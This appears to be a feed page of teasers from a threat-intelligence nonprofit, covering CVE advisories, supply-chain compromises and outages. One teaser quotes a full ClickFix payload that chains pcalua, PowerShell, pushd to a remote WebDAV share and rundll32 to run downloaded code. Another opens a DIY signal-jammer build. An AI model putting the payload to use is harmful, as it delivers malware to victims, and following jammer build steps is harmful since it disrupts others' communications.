The flood of new CVEs can make it hard to know what matters. But there are tools to help find our way.

Last Updated: 2026-09-29T14:53:55Z (UTC) What’s Happening Citrix has disclosed 8 critical CVEs. https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096 There’s also an associated blog post. Affected Versions Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1 BEFORE 14.1-73.37 Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1 BEFORE 13.1-64.23 Citrix NetScaler ADC FIPS BEFORE 14.1-73.37 FIPS Citrix NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.279 Indicato...

A not-for-profit organization dedicated to the teaching of best practices in cyber threat intelligence, and the mutual sharing of timely, actionable, and relevant intelligence among the community.

IFIN has achieved 501(c)(3) status. What this means for us, and for you.

IFIN has achieved 501(c)(3) status. What this means for us, and for you.

A first-in-the-nation program is seeing promising results as it charts a path for supporting the U.S.’s most vulnerable infrastructure.

Every intel vendor has their naming scheme. We won't play a pointless game.

Last Updated: 2026-07-13T21:27:45Z (UTC) What’s Happening I’ve encountered a new (to me) ClickFix pattern utilizing some very old LOLBAS tricks. I’ve seen these before, but never quite in this combination. Here’s a sample payload: pcalua.exe -a "powershell.exe" -c "saps cmd '/v/c set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\prkheekt.site-shartbandi-farsi[.]com@SSL\039a0a6a-6374-4952-9081-d891daefec4d & !c!!d! gc.key,#1' -WI MIn" There’s a lot going on here. First, th...

Last Updated: 2026-05-23T05:43:35Z (UTC) What’s Happening Laravel, a popular PHP framework, has had its GitHub packages compromised by a credential stealer. Aikido has a report, and has reported the issue to the maintainers. So has Step Security. Actions Review traffic for DNS/URL indicators of compromise Review endpoint activity for malicious file writes Got Laravel dependencies? Rotate those secrets Follow Recovery steps recommended by Step Indicators of Compromise Value Type ...

Last Updated: 2026-05-03T04:54:00Z (UTC) Status page is back, showing ppa.launchpad.net being in “custom maintenance,” but nothing else. Pages appear to be accessible. https://status.canonical.com Canonical now has an official forum thread for this incident: Impacted: security.ubuntu.com jaas.ai archive.ubuntu.com canonical.com maas.io blog.ubuntu.com developer.ubuntu.com Ubuntu Security API-CVEs Ubuntu Security API-Notices academy.canonical.com ubuntu.com portal.canonical.com assets....

CVE-2026-31431 Confirmed the exploit. It’s real.

PocketOS founder blames ‘Cursor running Anthropic's flagship Claude Opus 4.6’ plus Railway’s infrastructure for data disaster.

Excellent reporting here from Hudson Rock. Logs indicate the user was actively searching for and downloading game exploits, specifically Roblox “auto-farm” scripts and executors. These types of mali...

Observable: CPUID Downloads with Malware Observable Type: Supply Chain compromise (?) Details: Users reporting getting a malware executable while downloading HWMonitor software from the official CPUID website A discussion on Reddit from an everyday user, with some analysis in the comments: Reddit - Please wait for verification Some press coverage: https://cybernews.com/security/cpuid-hwmonitor-hwinfo-cpuz-deliver-malware/

Reporting indicating collaboration between Russian state-sponsored groups and Iran. The Ukrainian assessment said Russian and Iranian hacker groups were interacting via Telegram and noted collaborat...

I get asked about where to start learning OT cybersecurity as a student a lot. I fully realize that attention spans are short and people are busy, so without further ado let’s get to my top f…

For months, I've been working on a project to demonstrate how we can preserve humanity on the web. It's finally ready for testing.

Pay what you want to deepen your knowledge of video games and technology with our latest Tech Book Bundle: Electronics for the Curious.

Pay what you want to deepen your knowledge of video games and technology with our latest Tech Book Bundle: Electronics for the Curious.

Firefighting veterans believe the management team overseeing fire crews played a key role in handing team members over to immigration authorities.

We Put Agentic AI Browsers to the Test - They Clicked, They Paid, They Failed

The German car-maker says its

How to Build a DIY Signal Jammer for Drones, Wi-Fi, and 4G Networks: In this project, I'll show you how to create a powerful homemade signal jammer capable of interfering with various types of signals...

Gemini AI needs to be disabled on Android or it will override your privacy settings and gain full access to your texts, calls, and WhatsApp - even if you’ve turned off Gemini Apps Activity. But what d...